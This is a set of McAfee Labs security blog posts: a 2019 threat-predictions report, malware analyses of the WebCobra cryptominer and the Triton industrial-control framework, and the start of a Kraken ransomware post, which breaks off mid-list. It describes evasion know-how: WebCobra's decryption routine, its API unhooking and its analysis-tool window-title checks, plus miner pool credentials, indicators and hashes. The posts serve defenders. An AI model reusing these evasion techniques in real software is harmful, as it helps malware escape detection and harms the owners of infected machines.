Artificial Intelligence the Future of Evasion Techniques

To increase their chances of success, attackers have long employed evasion techniques to bypass security measures and avoid detection and analysis. Packers, crypters, and other tools are common components of attackers’ arsenals. In fact, an entire underground economy has emerged, offering products and dedicated services to aid criminal activities. We predict in 2019, due to the ease with which criminals can now outsource key components of their attacks, evasion techniques will become more agile due to the application of artificial intelligence. Think the counter-AV industry is pervasive now? This is just the beginning.

In 2018 we saw new process-injection techniques such as “process doppelgänging” with the SynAck ransomware, and PROPagate injection delivered by the RigExploit Kit. By adding technologies such as artificial intelligence, evasion techniques will be able to further circumvent protections.

Different evasions for different malware

In 2018, we observed the emergence of new threats such as cryptocurrency miners, which hijack the resources of infected machines. With each threat comes inventive evasion techniques:

  • Cryptocurrency mining: Miners implement a number of evasion techniques. Minerva Labs discovered WaterMiner, which simply stops its mining process when the victim runs the Task Manager or an antimalware scan.
  • Exploit kits: Popular evasion techniques include process injection or the manipulation of memory space and adding arbitrary code. In-memory injection is a popular infection vector for avoiding detection during delivery.
  • Botnets: Code obfuscation or anti-disassembling techniques are often used by large botnets that infect thousands of victims. In May 2018, AdvisorsBot was discovered using junk code, fake conditional instructions, XOR encryption, and even API hashing. Because bots tend to spread widely, the authors implemented many evasion techniques to slow reverse engineering. They also used obfuscation mechanisms for communications between the bots and control servers. Criminals use botnets for activities such as DDOS for hire, proxies, spam, or other malware delivery. Using evasion techniques is critical for criminals to avoid or delay botnet takedowns.
  • Advanced persistent threats: Stolen certificates bought on the cybercriminal underground are often used in targeted attacks to bypass antimalware detection. Attackers also use low-level malware such as rootkits or firmware-based threats. For example, in 2018 ESET discovered the first UEFI rootkit, LoJax. Security researchers have also seen destructive features used as anti-forensic techniques: The OlympicDestroyer malware targeted the Olympic Games organization and erased event logs and backups to avoid investigation.

Artificial intelligence the next weapon

In recent years, we have seen malware using evasion techniques to bypass machine learning engines. For example, in 2017 the Cerber ransomware dropped legitimate files on systems to trick the engine that classifies files. In 2018, PyLocky ransomware used InnoSetup to package the malware and avoid machine learning detection.

Clearly, bypassing artificial intelligence engines is already on the criminal to-do list; however, criminals can also implement artificial intelligence in their malicious software. We expect evasion techniques to begin leveraging artificial intelligence to automate target selection, or to check infected environments before deploying later stages and avoiding detection.

Such implementation is game changing in the threat landscape. We predict it will soon be found in the wild.

Synergistic Threats Will Multiply, Requiring Combined Responses

This year we have seen cyber threats adapt and pivot faster than ever. We have seen ransomware evolving to be more effective or operate as a smoke screen. We have seen cryptojacking soar, as it provides a better, and safer, return on investment than ransomware. We can still see phishing going strong and finding new vulnerabilities to exploit. We also noticed fileless and “living off the land” threats are more slippery and evasive than ever, and we have even seen the incubation of steganography malware in the Pyeongchang Olympics campaign. In 2019, we predict attackers will more frequently combine these tactics to create multifaced, or synergistic, threats.

What could be worse?

Attacks are usually centered on the use of one threat. Bad actors concentrate their efforts on iterating and evolving one threat at a time for effectiveness and evasion. When an attack is successful, it is classified as ransomware, cryptojacking, data exfiltration, etc., and defenses are put in place. At this point, the attack’s success rate is significantly reduced. However, if a sophisticated attack involves not one but five top-notch threats synergistically working together, the defense panorama could become very blurry. The challenge arises when an attempt is made to identify and mitigate the attack. Because the ultimate attack goals are unknown, one might get lost in the details of each threat as it plays a role in the chain.

One of the reasons synergic threats are becoming a reality is because bad actors are improving their skills by developing foundations, kits, and reusable threat components. As attackers organize their efforts into a black-market business model, they can focus on adding value to previous building blocks. This strategy allows them to orchestrate multiple threats instead of just one to reach their goals.

An example is worth a thousand words

Imagine an attack that starts with a phishing threat—not a typical campaign using Word documents, but a novel technique. This phishing email contains a video attachment. When you open the video, your video player does not play and prompts you to update the codec. Once you run the update, a steganographic polyglot file (a simple GIF) is deployed on your system. Because it is a polyglot (a file that conforms to more than one format at the same time), the GIF file schedules a task that fetches a fileless script hosted on a compromised system. That script running in memory evaluates your system and decides to run either ransomware or a cryptocurrency miner. That is a dangerous synergistic threat in action.

The attack raises many questions: What are you dealing with? Is it phishing 2.0? Is it stegware? Is it fileless and “living off the land”? Cryptojacking? Ransomware? It is everything at the same time.

This sophisticated but feasible example demonstrates that focusing on one threat may not be enough to detect or remediate an attack. When you aim to classify the attack into a single category, you might lose the big picture and thus be less effective mitigating it. Even if you stop the attack in the middle of the chain, discovering the initial and final stages is as important for protecting against future attempts.

Be curious, be creative, connect your defenses

Tackling sophisticated attacks based on synergic threats requires questioning every threat. What if this ransomware hit was part of something bigger? What if this phishing email pivots to a technique that employees are not trained for? What if we are missing the real goal of the attack?

Bearing these questions in mind will not only help capture the big picture, but also get the most of security solutions. We predict bad actors will add synergy to their attacks, but cyber defenses can also work synergistically.

Cybercriminals to Use Social Media Misinformation, Extortion Campaigns to Challenge Organizations’ Brands

The elections were influenced, fake news prevails, and our social media followers are all foreign government–controlled bots. At least that’s how the world feels sometimes. To say recent years have been troubled for social media companies would be an understatement. During this period a game of cat and mouse has ensued, as automated accounts are taken down, adversaries tactics evolve, and botnet accounts emerge looking more legitimate than ever before. In 2019, we predict an increase of misinformation and extortion campaigns via social media that will focus on brands and originate not from nation-state actors but from criminal groups.

Nation-states leverage bot battalions to deliver messages or manipulate opinion, and their effectiveness is striking. Bots often will take both sides of a story to spur debate, and this tactic works. By employing a system of amplifying nodes, as well as testing the messaging (including hashtags) to determine success rates, botnet operators demonstrate a real understanding of how to mold popular opinion on critical issues.

In one example, an account that was only two weeks old with 279 followers, most of which were other bots, began a harassment campaign against an organization. By amplification, the account generated an additional 1,500 followers in only four weeks by simply tweeting malicious content about their target.

Activities to manipulate public opinion have been well documented and bots well versed in manipulating conversations to drive agendas stand ready. Next year we expect that cybercriminals will repurpose these campaigns to extort companies by threatening to damage their brands. Organizations face a serious danger.

Data Exfiltration Attacks to Target the Cloud

In the past two years, enterprises have widely adopted the Software-as-a-Service model, such as Office 365, as well as Infrastructure- and Platform-as-a-Service cloud models, such as AWS and Azure. With this move, far more corporate data now resides in the cloud. In 2019, we expect a significant increase in attacks that follow the data to the cloud.

With the increased adoption of Office 365, we have noticed a surge of attacks on the service— especially attempts to compromise email. One threat the McAfee cloud team uncovered was the botnet KnockKnock, which targeted system accounts that typically do not have multifactor authentication. We have also seen the emergence of exploits of the trust model in the Open Authorization standard. One was launched by Fancy Bear, the Russian cyber espionage group, phishing users with a fake Google security app to gain access to user data.

Similarly, during the last couple of years we have seen many high-profile data breaches attributed to misconfigured Amazon S3 buckets. This is clearly not the fault of AWS. Based on the shared responsibility model, the customer is on the hook to properly configure IaaS/PaaS infrastructure and properly protect their enterprise data and user access. Complicating matters, many of these misconfigured buckets are owned by vendors in their supply chains, rather than by the target enterprises. With access to thousands of open buckets and credentials, bad actors are increasingly opting for these easy pickings.

McAfee has found that 21% of data in the cloud is sensitive—such as intellectual property, and customer and personal data—according to the McAfee Cloud Adoption and Risk Report. With a 33% increase in users collaborating on this data during the past year, cybercriminals know how to seek more targets:

  • Cloud-native attacks targeting weak APIs or ungoverned API endpoints to gain access to the data in SaaS as well as in PaaS and serverless workloads
  • Expanded reconnaissance and exfiltration of data in cloud databases (PaaS or custom applications deployed in IaaS) expanding the S3 exfiltration vector to structured data in databases or data lakes
  • Leveraging the cloud as a springboard for cloud-native man-in-the-middle attacks (such as GhostWriter, which exploits publicly writable S3 buckets introduced due to customer misconfigurations) to launch cryptojacking or ransomware attacks into other variants of MITM attacks.

Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices

As tech fans continue to fill their homes with smart gadgets, from plugs to TVs, coffee makers to refrigerators, and motion sensors to lighting, the means of gaining entry to a home network are growing rapidly, especially given how poorly secured many IoT devices remain.

But the real key to the network door next year will be the voice-controlled digital assistant, a device created in part to manage all the IoT devices within a home. As sales increase—and an explosion in adoption over the holiday season looks likely—the attraction for cybercriminals to use assistants to jump to the really interesting devices on a network will only continue to grow.

For now, the voice assistant market is still taking shape, with many brands still looking to dominate the market, in more ways than one, and it is unclear whether one device will become ubiquitous. If one does take the lead, its security features will quite rightly fall under the microscope of the media, though not perhaps before its privacy concerns have been fully examined in prose.

(Last year we highlighted privacy as the key concern for home IoT devices. Privacy will continue to be a concern, but cybercriminals will put more effort into building botnets, demanding ransoms, and threatening the destruction of property of both homes and businesses).

This opportunity to control a home’s or office’s devices will not go unnoticed by cybercriminals, who will engage in an altogether different type of writing in relation to the market winner, in the form of malicious code designed to attack not only IoT devices but also the digital assistants that are given so much license to talk to them.

Smartphones have already served as the door to a threat. In 2019, they may well become the picklock that opens a much larger door. We have already seen two threats that demonstrate what cybercriminals can do with unprotected devices, in the form of the Mirai botnet, which first struck in 2016, and IoT Reaper, in 2017. These IoT malware appeared in many variants to attack connected devices such as routers, network video recorders, and IP cameras. They expanded their reach by password cracking and exploiting known vulnerabilities to build worldwide robot networks.

Next year we expect to see two main vectors for attacking home IoT devices: routers and smartphones/ tablets. The Mirai botnet demonstrated the lack of security in routers. Infected smartphones, which can already monitor and control home devices, will become one of the top targets of cybercriminals, who will employ current and new techniques to take control.

Malware authors will take advantage of phones and tablets, those already trusted controllers, to try to take over IoT devices by password cracking and exploiting vulnerabilities. These attacks will not appear suspicious because the network traffic comes from a trusted device. The success rate of attacks will increase, and the attack routes will be difficult to identify. An infected smartphone could cause the next example of hijacking the DNS settings on a router. Vulnerabilities in mobile and cloud apps are also ripe for exploitation, with smartphones at the core of the criminals’ strategy.

Infected IoT devices will supply botnets, which can launch DDoS attacks, as well as steal personal data. The more sophisticated IoT malware will exploit voice-controlled digital assistants to hide its suspicious activities from users and home-network security software. Malicious activities such as opening doors and connecting to control servers could be triggered by user voice commands (“Play music” and “What is today’s weather?”). Soon we may hear infected IoT devices themselves exclaiming: “Assistant! Open the back door!”

Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege

Large-scale data breaches of identity platforms—which offer centralized secure authentication and authorization of users, devices, and services across IT environments—have been well documented in 2018. Meanwhile, the captured data is being reused to cause further misery for its victims. In 2019, we expect to see large-scale social media platforms implement additional measures to protect customer information. However, as the platforms grow in numbers, we predict criminals will further focus their resources on such attractive, data-rich environments. The struggle between criminals and big-scale platforms will be the next big battleground.

Triton, malware that attacks industrial control systems (ICS), has demonstrated the capabilities of adversaries to remotely target manufacturing environments through their adjacent IT environments. Identity platform and “edge device” breaches will provide the keys to adversaries to launch future remote ICS attacks due to static password use across environments and constrained edge devices, which lack secure system requirements due to design limitations. (An edge device is any network-enabled system hardware or protocol within an IoT product.) We expect multifactor authentication and identity intelligence will become the best methods to provide security in this escalating battle. We also predict identity intelligence will complement multifactor authentication to strengthen the capabilities of identity platforms.

Identity is a fundamental component in securing IoT. In these ecosystems, devices and services must securely identify trusted devices so that they can ignore the rest. The identity model has shifted from user centric in traditional IT systems to machine centric for IoT systems. Unfortunately, due to the integration of operational technology and insecure “edge device” design, the IoT trust model is built on a weak foundation of assumed trust and perimeter-based security.

At Black Hat USA and DEF CON 2018, 30 talks discussed IoT edge device exploitation. That’s a large increase from just 19 talks on the topic in 2017. The increase in interest was primarily in relation to ICS, consumer, medical, and “smart city” verticals. (See Figure 1.) Smart edge devices, combined with high-speed connectivity, are enabling IoT ecosystems, but the rate at which they are advancing is compromising the security of these systems.

Figure 1: The number of conference sessions on the security of IoT devices has increased, matching the growing threat to poorly protected devices. 

Most IoT edge devices provide no self-defense (isolating critical functions, memory protection, firmware protection, least privileges, or security by default) so one successful exploit owns the device. IoT edge devices also suffer from “break once, run everywhere” attacks—due to insecure components used across many device types and verticals. (See articles on WingOS and reverse engineering.)

McAfee Advanced Threat Research team engineers have demonstrated how medical device protocols can be exploited to endanger human life and compromise patients’ privacy due to assumed trust. These examples illustrate just a few of many possible scenarios that lead us to believe adversaries will choose IoT edge devices as the path of least resistance to achieve their objectives. Servers have been hardened over the last decade, but IoT hardware is far behind. By understanding an adversary’s motives and opportunities (attack surface and access capability), we can define a set of security requirements independent of a specific attack vector.

Figure 2 gives a breakdown of the types of vulnerabilities in IoT edge devices, highlighting weak points to address by building identity and integrity capabilities into edge hardware to ensure these devices can deflect attacks.

Figure 2: Insecure protocols are the primary attack surface in IoT edge devices.

IoT security must begin on the edge with a zero-trust model and provide a hardware root of trust as the core building block for protecting against hack and shack attacks and other threats. McAfee predicts an increase in compromises on identity platforms and IoT edge devices in 2019 due to the adoption of smart cities and increased ICS activity.

The post McAfee Labs 2019 Threats Predictions Report appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-2019-threats-predictions/feed/ 0
WebCobra Malware Uses Victims’ Computers to Mine Cryptocurrency https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/webcobra-malware-uses-victims-computers-to-mine-cryptocurrency/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/webcobra-malware-uses-victims-computers-to-mine-cryptocurrency/#comments Tue, 13 Nov 2018 05:01:11 +0000 https://securingtomorrow.mcafee.com/?p=92309

McAfee Labs researchers have discovered new Russian malware, dubbed WebCobra, which harnesses victims’ computing power to mine for cryptocurrencies.

The post WebCobra Malware Uses Victims’ Computers to Mine Cryptocurrency appeared first on McAfee Blogs.

]]>

The authors thank their colleagues Oliver Devane and Deepak Setty for their help with this analysis.

McAfee Labs researchers have discovered new Russian malware, dubbed WebCobra, which harnesses victims’ computing power to mine for cryptocurrencies.

Coin mining malware is difficult to detect. Once a machine is compromised, a malicious app runs silently in the background with just one sign: performance degradation. As the malware increases power consumption, the machine slows down, leaving the owner with a headache and an unwelcome bill, as the energy it takes to mine a single bitcoin can cost from $531 to $26,170, according to a recent report.

The increase in the value of cryptocurrencies has inspired cybercriminals to employ malware that steals machine resources to mine crypto coins without the victims’ consent.

The following chart shows how the prevalence of miner malware follows changes in the price of Monero cryptocurrency.

Figure 1: The price of cryptocurrency Monero peaked at the beginning of 2018. The total samples of coin miner malware continue to grow. Source: https://coinmarketcap.com/currencies/monero/.

McAfee Labs has previously analyzed the cryptocurrency file infector CoinMiner; and the Cyber Threat Alliance, with major assistance from McAfee, has published a report, “The Illicit Cryptocurrency Mining Threat.” Recently we examined the Russian application WebCobra, which silently drops and installs the Cryptonight miner or Claymore’s Zcash miner, depending on the architecture WebCobra finds. McAfee products detect and protect against this threat.

We believe this threat arrives via rogue PUP installers. We have observed it across the globe, with the highest number of infections in Brazil, South Africa, and the United States.

Figure 2: McAfee Labs heat map of WebCobra infections from September 9–13.

This cryptocurrency mining malware is uncommon in that it drops a different miner depending on the configuration of the machine it infects. We will discuss that detail later in this post.

Behavior

The main dropper is a Microsoft installer that checks the running environment. On x86 systems, it injects Cryptonight miner code into a running process and launches a process monitor. On x64 systems, it checks the GPU configuration and downloads and executes Claymore’s Zcash miner from a remote server.

Figure 3: WebCobra’s installation window.

After launching, the malware drops and unzips a password-protected Cabinet archive file with this command:

Figure 4: The command to unzip the dropped file.

The CAB file contains two files:

  • LOC: A DLL file to decrypt data.bin
  • bin: Contains the encrypted malicious payload

The CAB file uses the following script to execute ERDNT.LOC:

Figure 5: The script to load the DLL file, ERDNT.LOC.

ERDNT.LOC decrypt data.bin and passes the execution flow to it with this routine:

  • [PlainText_Byte] = (([EncryptedData_Byte] + 0x2E) ^ 0x2E) + 0x2E

Figure 6: The decryption routine. 

The program checks the running environment to launch the proper miner, shown in the following diagram:

Figure 7: Launching the proper miner depending on a system’s configuration.

Once data.bin is decrypted and executed, it tries a few anti-debugging, anti-emulation, and anti-sandbox techniques as well as checks of other security products running on the system. These steps allow the malware to remain undetected for a long time.

Most security products hook some APIs to monitor the behavior of malware. To avoid being found by this technique, WebCobra loads ntdll.dll and user32.dll as data files in memory and overwrites the first 8 bytes of those functions, which unhooks the APIs.

List of unhooked ntdll.dll APIs

  • LdrLoadDll
  • ZwWriteVirtualMemory
  • ZwResumeThread
  • ZwQueryInformationProcess
  • ZwOpenSemaphore
  • ZwOpenMutant
  • ZwOpenEvent
  • ZwMapViewOfSection
  • ZwCreateUserProcess
  • ZwCreateSemaphore
  • ZwCreateMutant
  • ZwCreateEvent
  • RtlQueryEnvironmentVariable
  • RtlDecompressBuffer

List of unhooked user32.dll APIs

  • SetWindowsHookExW
  • SetWindowsHookExA

Infecting an x86 system

The malware injects malicious code to svchost.exe and uses an infinite loop to check all open windows and to compare each window’s title bar text with these strings. This is another check by WebCobra to determine if it is running in an isolated environment designed for malware analysis.

  • adw
  • emsi
  • avz
  • farbar
  • glax
  • delfix
  • rogue
  • exe
  • asw_av_popup_wndclass
  • snxhk_border_mywnd
  • AvastCefWindow
  • AlertWindow
  • UnHackMe
  • eset
  • hacker
  • AnVir
  • Rogue
  • uVS
  • malware

The open windows will be terminated if any of preceding strings shows in the windows title bar text.

Figure 8: Terminating a process if the windows title bar text contains specific strings.

Once the process monitor executes, it creates an instance of svchost.exe with the miner’s configuration file specified as an argument and injects the Cryptonight miner code.

Figure 9: Creating an instance of svchost.exe and executing the Cryptonight miner.

Finally, the malware resumes the process with the Cryptonight miner running silently and consuming almost all the CPU’s resources.

Figure 10: An x86 machine infected with the Cryptonight miner. 

Infecting an x64 system

The malware terminates the infection if it finds Wireshark running.

Figure 11: Checking for Wireshark.

The malware checks the GPU brand and mode. It runs only if one of the following GPUs is installed:

  • Radeon
  • Nvidia
  • Asus

Figure 12: Checking the GPU mode.

If these checks are successful, the malware creates the following folder with hidden attributes and downloads and executes Claymore’s Zcash miner from a remote server.

  • C:\Users\AppData\Local\WIX Toolset 11.2

Figure 13: Requesting the download of Claymore’s Zcash miner.

Figure 14: Claymore’s miner.

Figure 15: Executing the miner with its configuration file.

Finally, the malware drops a batch file at %temp%\–xxxxx.cMD to delete the main dropper from [WindowsFolder]\{DE03ECBA-2A77-438C-8243-0AF592BDBB20}\*.*.

Figure 16: A batch file deleting the dropper.

The configuration files of the miners follow.

Figure 17: Cryptonight’s configuration file.

This configuration file contains:

  • The mining pool: 5.149.254.170
  • Username: 49YfyE1xWHG1vywX2xTV8XZzbzB1E2QHEF9GtzPhSPRdK5TEkxXGRxVdAq8LwbA2Pz7jNQ9gYBxeFPHcqiiqaGJM2QyW64C
  • Password: soft-net

Figure 18: Claymore’s Zcash miner configuration file.

This configuration file contains:

  • The mining pool: eu.zec.slushpool.com
  • Username: pavelcom.nln
  • Password: zzz

Coin mining malware will continue to evolve as cybercriminals take advantage of this relatively easy path to stealing value. Mining coins on other people’s systems requires less investment and risk than ransomware, and does not depend on a percentage of victims agreeing to send money. Until users learn they are supporting criminal miners, the latter have much to gain.

 

MITRE ATT&CK techniques

  • Exfiltration over command and control channel
  • Command-line interface
  • Hooking
  • Data from local system
  • File and directory discovery
  • Query registry
  • System information discovery
  • Process discovery
  • System time discovery
  • Process injection
  • Data encrypted
  • Data obfuscation
  • Multilayer encryption
  • File deletion

Indicators of compromise

IP addresses
  • 5.149.249[.]13:2224
  • 5.149.254[.]170:2223
  • 104.31.92[.]212
Domains
  • emergency.fee.xmrig[.]com
  • miner.fee.xmrig[.]com
  •  saarnio[.]ru
  • eu.zec.slushpool[.]com

McAfee detections

  • CoinMiner Version 2 in DAT Version 8986; Version 3 in DAT Version 3437
  • l Version 2 in DAT Version 9001; Version 3 in DAT Version 3452
  • RDN/Generic PUP.x Version 2 in DAT Version 8996; Version 3 in DAT Version 3447
  • Trojan-FQBZ, Trojan-FQCB, Trojan-FQCR Versions 2 in DAT Version 9011; Versions 3 in DAT Version 3462

Hashes (SHA-256)

  • 5E14478931E31CF804E08A09E8DFFD091DB9ABD684926792DBEBEA9B827C9F37
  • 2ED8448A833D5BBE72E667A4CB311A88F94143AA77C55FBDBD36EE235E2D9423
  • F4ED5C03766905F8206AA3130C0CDEDEC24B36AF47C2CE212036D6F904569350
  • 1BDFF1F068EB619803ECD65C4ACB2C742718B0EE2F462DF795208EA913F3353B
  • D4003E6978BCFEF44FDA3CB13D618EC89BF93DEBB75C0440C3AC4C1ED2472742
  • 06AD9DDC92869E989C1DF8E991B1BD18FB47BCEB8ECC9806756493BA3A1A17D6
  • 615BFE5A8AE7E0862A03D183E661C40A1D3D447EDDABF164FC5E6D4D183796E0
  • F31285AE705FF60007BF48AEFBC7AC75A3EA507C2E76B01BA5F478076FA5D1B3
  • AA0DBF77D5AA985EEA52DDDA522544CA0169DCA4AB8FB5141ED2BDD2A5EC16CE

The post WebCobra Malware Uses Victims’ Computers to Mine Cryptocurrency appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/webcobra-malware-uses-victims-computers-to-mine-cryptocurrency/feed/ 2
Triton Malware Spearheads Latest Generation of Attacks on Industrial Systems https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/triton-malware-spearheads-latest-generation-of-attacks-on-industrial-systems/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/triton-malware-spearheads-latest-generation-of-attacks-on-industrial-systems/#respond Thu, 08 Nov 2018 23:45:20 +0000 https://securingtomorrow.mcafee.com/?p=92600

Malware that attacks industrial control systems (ICS), such as the Stuxnet campaign in 2010, is a serious threat. This class of cyber sabotage can spy on, disrupt, or destroy systems that manage large-scale industrial processes. An essential danger in this threat is that it moves from mere digital damage to risking human lives.

The post Triton Malware Spearheads Latest Generation of Attacks on Industrial Systems appeared first on McAfee Blogs.

]]>

Malware that attacks industrial control systems (ICS), such as the Stuxnet campaign in 2010, is a serious threat. This class of cyber sabotage can spy on, disrupt, or destroy systems that manage large-scale industrial processes. An essential danger in this threat is that it moves from mere digital damage to risking human lives. In this post we will review the history of ICS malware, briefly examine how one ICS framework operates, and offer our advice on how to fight such threats.

ICS malware is usually sophisticated, requiring time to research its targets and sufficient resources. Attackers can be motivated by financial gain, hacktivism, or espionage, as well as for political ends, as we saw with Stuxnet. Since Stuxnet, researchers have discovered several industrial attacks; each year we seem to read about a worse threat than before.

In August 2017, a sophisticated malware targeted petrochemical facilities in the Middle East. The malware—dubbed Triton, Trisis, or HatMan—attacked safety instrumented systems (SIS), a critical component that has been designed to protect human life. The system targeted in that case was the Schneider Triconex SIS. The initial vector of infection is still unknown, but it was likely a phishing attack.

After gaining remote access, the Triton attackers moved to disrupt, take down, or destroy the industrial process. The goal of the attackers is still unclear because the attack was discovered after an accidental shutdown of the plant led to further investigation. Investigations conducted by several security companies have revealed a complex malware framework embedding PowerPC shellcode (the Triconex architecture) and an implementation of the proprietary communication protocol TriStation. The malware allowed the attackers to easily communicate with safety controllers and remotely manipulate system memory to inject shellcodes; they completely controlled the target. However, because the attack did not succeed it is possible that a payload, the final stage of the attack, was missing. All investigations pointed in this direction. If the final payload had been delivered, the consequences could have been disastrous.

History of ICS malware

In 2010, Stuxnet was one of the most sophisticated ICS threats discovered. This cyber weapon was created to target Iranian centrifuges. It was able to reprogram a particular programmable logic controller to change the speed of centrifuge rotations. The goal of Stuxnet was not to destroy but to take the control of the industrial process.

In 2013, the malware Havex targeted energy grids, electricity firms, and many others. The attackers collected a large amount of data and remotely monitored industrial systems. Havex was created for espionage and sabotage.

BlackEnergy was discovered in 2015. It targeted critical infrastructure and destroyed files stored on workstations and servers. In Ukraine, 230,000 people were left in the dark for six hours after hackers compromised several power distribution centers.

In 2015, IronGate was discovered on public sources. It targeted Siemens control systems and had functionalities similar to Stuxnet’s. It is unclear if this was a proof of concept or a simple penetration-testing tool.

Industroyer hit Ukraine again in 2016. The malware embedded a data wiper component as well as a distributed denial of services module. It was crafted for destruction. The attack caused a second shutdown of Ukraine’s power grid.

In 2017, Triton was discovered. The attack did not succeed; the consequences could have been disastrous.

ICS malware are critical because they infect industrial devices and automation. However, regular malware can also impact industrial process. Last year WannaCry forced several companies, from medical to automobile industries, to stop production. Some months later NotPetya hit nuclear power plants, power grids, and health care systems. In 2018, a cryptocurrency miner struck a water utility in Europe.

Facing widespread risks, critical infrastructures need a specific approach to stay safe.

Triton framework

Triton targeted the Triconex safety controller, distributed by Schneider Electric. Triconex safety controllers are used in 18,000 plants (nuclear, oil and gas refineries, chemical plants, etc.), according to the company. Attacks on SIS require a high level of process comprehension (by analyzing acquired documents, diagrams, device configurations, and network traffic). SIS are the last protection against a physical incident.

The attackers gained access to the network probably via spear phishing, according to an investigation. After the initial infection, the attackers moved onto the main network to reach the ICS network and target SIS controllers.

To communicate with SIS controllers, attackers recoded the proprietary TriStation communication protocol on port UDP/1502. This step suggests they invested the time to reverse engineer the Triconex product.

Nozomi Networks has created a Wireshark dissector that is very handy for analyzing the TriStation protocol and detecting a Triton attack. The following screenshot shows an example of the information returned by the Triconex SIS. Triton requires the “running state” of the controller to perform the next stages of the attack.

In the preceding screen Triconex replies to the request “Get Control Program Status,” which is sent by Triton.

The Triton framework (dc81f383624955e0c0441734f9f1dabfe03f373c) posed as the legitimate executable trilog.exe, which collects logs. The executable is a python script compiled in an exe. The framework also contains library.zip (1dd89871c4f8eca7a42642bf4c5ec2aa7688fd5c), which contains all the python scripts required by Triton. Finally, two PowerPC shellcodes (the target architecture) are used to compromise the controllers. The first PowerPC shellcode is an injector (inject.bin, f403292f6cb315c84f84f6c51490e2e8cd03c686) used to inject the second stage (imain.bin, b47ad4840089247b058121e95732beb82e6311d0), the backdoor that allows read, write, and execute access on the Triconex product.

The following schema shows the main modules of Triton:

The missing payload has not been recovered during the forensic investigation. Because the attack was discovered early, it is possible that the attackers did not have time to launch the final stage.

How to detect an unusual network connection

Nozomi Networks has created a script that simulates a Triconex safety controller. We modified this script with a Raspberry Pi to create a cheap detector tool.

 

This inexpensive tool can be easily installed on an ICS network. If an illegitimate connection occurs, the device alerts with a blinking LED and siren. It also displays the IP address of the connection for further investigation.

The following picture shows how to connect the LED and buzzer.

Fighting ICS malware

ICS malware has become more aggressive and sophisticated. Many industrial devices were built before anyone imagined cyberattacks such as Triton. ICS’s are now exposed to connected environments they were not designed for.

Standard McAfee security recommendations (vulnerability patching, complex passwords, identification control, security tools, etc.) remain the same as for regular networks, yet industrial systems also require specific procedures due to their importance. Industrial networks must be segregated from general business networks, and every machine connected to the industrial process should be carefully monitored by using strict access control and application whitelisting.

Further security recommendations:

  • Segregate physical and logical access to ICS networks with strong authentication, including strong passwords and double factor, card readers, surveillance cameras, etc.
  • Use DMZ and firewall to prevent network traffic from passing between the corporate and the ICS network
  • Deploy strong security measures on the ICS network perimeter, including patch management, disabling unused ports, and restricting ICS user privileges
  • Log and monitor every action on the ICS network to quickly identify a point of failure
  • When possible implement redundancy on critical devices to avoid major issues
  • Develop strong security policies and an incident response plan to restore systems during an incident
  • Train people with simulated incident responses and security awareness

Attackers learn what works from past attacks and from each other. Rapid developments in ICS threats make it crucial to stay protected. Manufacturers, plant operators, governments, and the cybersecurity industry must work together to avoid critical cyberattacks.

 

Indicators of compromise

  • dc81f383624955e0c0441734f9f1dabfe03f373c: trilog.exe
  • b47ad4840089247b058121e95732beb82e6311d0: imain.bin
  • f403292f6cb315c84f84f6c51490e2e8cd03c686: inject.bin
  • 91bad86388c68f34d9a2db644f7a1e6ffd58a449: script_test.py
  • 1dd89871c4f8eca7a42642bf4c5ec2aa7688fd5c: library.zip
  • 97e785e92b416638c3a584ffbfce9f8f0434a5fd: TS_cnames.pyc
  • d6e997a4b6a54d1aeedb646731f3b0893aee4b82: TsBase.pyc
  • 66d39af5d61507cf7ea29e4b213f8d7dc9598bed: TsHi.pyc
  • a6357a8792e68b05690a9736bc3051cba4b43227: TsLow.pyc
  • 2262362200aa28b0eead1348cb6fda3b6c83ae01: crc.pyc
  • 9059bba0d640e7eeeb34099711ff960e8fbae655: repr.pyc
  • 6c09fec42e77054ee558ec352a7cd7bd5c5ba1b0: select.pyc
  • 25dd6785b941ffe6085dd5b4dbded37e1077e222: sh.pyc

References

 

The post Triton Malware Spearheads Latest Generation of Attacks on Industrial Systems appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/triton-malware-spearheads-latest-generation-of-attacks-on-industrial-systems/feed/ 0
Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/#respond Tue, 30 Oct 2018 21:00:33 +0000 https://securingtomorrow.mcafee.com/?p=92202

Alexandr Solad and Daniel Hatheway of Recorded Future are coauthors of this post. Read Recorded Future’s version of this analysis.  Rising from the deep, Kraken Cryptor ransomware has had a notable development path in recent months. The first signs of Kraken came in mid-August on a popular underground forum. In mid-September it was reported that […]

The post Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims appeared first on McAfee Blogs.

]]>

Alexandr Solad and Daniel Hatheway of Recorded Future are coauthors of this post. Read Recorded Future’s version of this analysis. 

Rising from the deep, Kraken Cryptor ransomware has had a notable development path in recent months. The first signs of Kraken came in mid-August on a popular underground forum. In mid-September it was reported that the malware developer had placed the ransomware, masquerading as a security solution, on the website SuperAntiSpyware, infecting systems that tried to download a legitimate version of the antispyware software.

Kraken’s presence became more apparent at the end of September, when the security researcher nao_sec discovered that the Fallout Exploit Kit, known for delivering GandCrab ransomware, also started to deliver Kraken.

The McAfee Advanced Threat Research team, working with the Insikt group from Recorded Future, found evidence of the Kraken authors asking the Fallout team to be added to the Exploit Kit. With this partnership, Kraken now has an additional malware delivery method for its criminal customers.

We also found that the user associated with Kraken ransomware, ThisWasKraken, has a paid account. Paid accounts are not uncommon on underground forums, but usually malware developers who offer services such as ransomware are highly trusted members and are vetted by other high-level forum members. Members with paid accounts are generally distrusted by the community.

 

Kraken Cryptor’s developers asking to join the Fallout Exploit Kit.

Kraken Cryptor announcement.

The ransomware was announced, in Russian, with the following features:

  • Encoded in C# (.NET 3.5)
  • Small stub size ~85KB
  • Fully autonomous
  • Collects system information as an encrypted message for reference
  • File size limit for encryption
